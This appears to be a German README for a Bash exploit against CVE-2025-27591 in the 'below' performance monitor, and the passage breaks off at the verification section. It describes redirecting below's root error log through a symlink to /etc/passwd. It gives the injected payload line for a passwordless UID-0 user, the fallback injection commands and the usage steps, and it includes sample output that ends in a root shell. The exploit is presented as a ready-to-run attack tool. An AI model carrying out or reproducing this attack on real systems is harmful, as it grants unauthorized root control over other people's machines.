CVE-2025-27591 Exploit - Below-Logger-Symlink-Angriff

Ein Bash-basierter Privilege-Escalation-Exploit, der auf das Systemleistungsüberwachungstool below abzielt. Dieser überarbeitete Exploit nutzt eine Symlink-Schwachstelle im Protokollierungsmechanismus aus, um einen Root-Benutzer in /etc/passwd einzuschleusen und so vollständigen Root-Zugriff zu erlangen.

Credits

Entdeckt und gemeldet von Matthias Gerstner @ SUSE - Sicherheitshinweis

Details zur Schwachstelle

• CVE: CVE-2025-27591
• Betroffene Komponente: /usr/bin/below (Facebooks Systemleistungsmonitor)
• Betroffene Versionen: below-Versionen mit weltweit beschreibbaren Log-Verzeichnissen
• Schwachstellentyp: Symlink-Angriff / Privilege Escalation
• Angriffsvektor: /var/log/below/error_root.log → /etc/passwd
• CVSS-Score: Hoch (Privilege Escalation zu Root)

Übersicht

Das Überwachungstool below protokolliert Fehler in /var/log/below/error_root.log, wenn es mit erhöhten Rechten ausgeführt wird. Wenn das Log-Verzeichnis weltweit beschreibbar ist, kann ein Angreifer Folgendes tun:

1. Einen symbolischen Link von error_root.log auf /etc/passwd erstellen
2. Den Befehl below record auslösen, um Fehlermeldungen auf den Symlink zu schreiben
3. Manuell einen bösartigen Benutzereintrag mit UID=0 (Root-Rechte) einfügen
4. Eine Root-Shell mit dem neu erstellten Benutzer starten

Dieser Exploit automatisiert den gesamten Prozess mit intelligenten Fallback-Mechanismen, um verschiedene Systemkonfigurationen zu handhaben.

Exploit-Ablaufdiagramm

flowchart TD
    A[Start Exploit] --> B[Get Username from User]
    B --> C{Check /var/log/below<br/>World-Writable?}
    C -->|No| D[Exit: Not Vulnerable]
    C -->|Yes| E[Remove Existing error_root.log]
    E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
    F --> G{Symlink Created<br/>Successfully?}
    G -->|No| D
    G -->|Yes| H[Execute: sudo below record]
    H --> I[Wait 3 seconds for logging]
    I --> J[Kill below process]
    J --> K{Payload in<br/>/etc/passwd?}
    K -->|Yes| M[Success Path]
    K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
    L --> N{Manual Injection<br/>Success?}
    N -->|No| O[Try Fallback:<br/>sudo tee -a]
    N -->|Yes| M
    O --> P{Fallback<br/>Success?}
    P -->|No| D
    P -->|Yes| M
    M --> Q[Verify Payload in /etc/passwd]
    Q --> R[Disable Cleanup Trap]
    R --> S[Execute: su username]
    S --> T[Root Shell Obtained]

    style A fill:#e1f5ff
    style T fill:#90EE90
    style D fill:#ffcccb
    style M fill:#98fb98

Technische Details

Exploit-Schritte

1. Vorprüfphase

   • Überprüfen, ob das Verzeichnis /var/log/below existiert
   • Prüfen, ob das Verzeichnis weltweit beschreibbare Berechtigungen hat (o+w)
   • Testen der Symlink-Erstellungsfähigkeit

2. Einrichtungsphase

   • Entfernen einer vorhandenen error_root.log-Datei
   • Erstellen eines symbolischen Links: /var/log/below/error_root.log → /etc/passwd
   • Überprüfen, ob der Symlink auf das richtige Ziel zeigt

3. Injektionsphase (Primäre Methode)

   • Ausführen von sudo below record im Hintergrund
   • Prozess für 3 Sekunden laufen lassen, um die Fehlerprotokollierung auszulösen
   • Prozess beenden, um kontinuierliche Protokollierung zu verhindern
   • Prüfen, ob Fehlermeldungen /etc/passwd auf nützliche Weise beschädigt haben

4. Injektionsphase (Fallback-Methoden)

   • Methode 1: Direktes Anhängen über Symlink (echo >> symlink)
   • Methode 2: Verwendung von sudo mit tee (sudo tee -a)

5. Shell-Startphase

   • Überprüfen, ob der bösartige Benutzer in /etc/passwd existiert
   • Deaktivieren der Cleanup-Traps, um die Entfernung zu verhindern
   • Ausführen von su <benutzername>, um eine Root-Shell zu erhalten

Payload-Struktur

Der injizierte /etc/passwd-Eintrag folgt diesem Format:

username::0:0:username:/root:/bin/bash

Aufschlüsselung der Felder:

• username: Vom Benutzer bereitgestellter Benutzername (Standard: "0xdtc")
• ::: Leeres Passwortfeld (kein Passwort erforderlich)
• 0:0: UID=0, GID=0 (Root-Rechte)
• username: GECOS-Feld (Benutzerbeschreibung)
• /root: Home-Verzeichnis
• /bin/bash: Anmelde-Shell

Voraussetzungen

• Zielsystem, das die anfällige below-Binärdatei ausführt
• Das Verzeichnis /var/log/below muss weltweit beschreibbar sein
• Der Benutzer muss sudo-Zugriff haben, um below record auszuführen
• Bash-Shell-Umgebung

Verwendung

Grundlegende Ausführung

# Make script executable
chmod +x CVE-2025-27591

# Run the exploit
./CVE-2025-27591

Interaktive Eingabeaufforderungen

========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser

Beispielausgabe

0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc

[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable

[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter

root@kali:/tmp# whoami
root

Funktionen

Intelligente Behandlung von Blockaden

Das Skript enthält mehrere Fallback-Mechanismen, um verschiedene Systemkonfigurationen zu handhaben:

1. Behandlung vorhandener Dateien

   • Automatisches Erkennen und Entfernen vorhandener Log-Dateien
   • Behandlung sowohl regulärer Dateien als auch vorhandener Symlinks
   • Validierung des Symlink-Ziels vor dem Fortfahren

2. Mehrere Injektionsmethoden

   • Primär: Auslösen durch below record-Fehlerprotokollierung
   • Fallback 1: Direktes Anhängen an den Symlink
   • Fallback 2: Privilegierter Schreibzugriff mittels sudo tee

3. Prozessverwaltung

   • Automatisches Beenden hängender below-Prozesse
   • Verhindert Ressourcenerschöpfung
   • Handhabt Prozessbereinigung bei Fehlern

4. Erneute Ausführungserkennung

   • Prüft, ob der Payload bereits in /etc/passwd existiert
   • Überspringt die Ausnutzung, wenn der Benutzer bereits erstellt wurde
   • Startet bei erneuter Ausführung direkt eine Shell

Code-Qualitätsmerkmale

• Umfassende Kommentare: Jede Funktion und jeder kritische Schritt dokumentiert
• Abschnittsüberschriften: Code in logische Abschnitte gegliedert
• Fehlerbehandlung: Korrekte Fehlerprüfung und Benutzerrückmeldung
• Sauberer Ausstieg: Trap-Handler für ordentliche Bereinigung bei Fehlern
• Minimale Abhängigkeiten: Reines Bash mit standardmäßigen Unix-Werkzeugen

Dateistruktur

.
├── CVE-2025-27591           # Main exploitation script
├── README.md           # This documentation
└── /tmp/exploit_payload # Temporary payload file (created at runtime)

Überprüfung

Nach erfolgreicher Ausnutzung den Root-Zugriff überprüfen: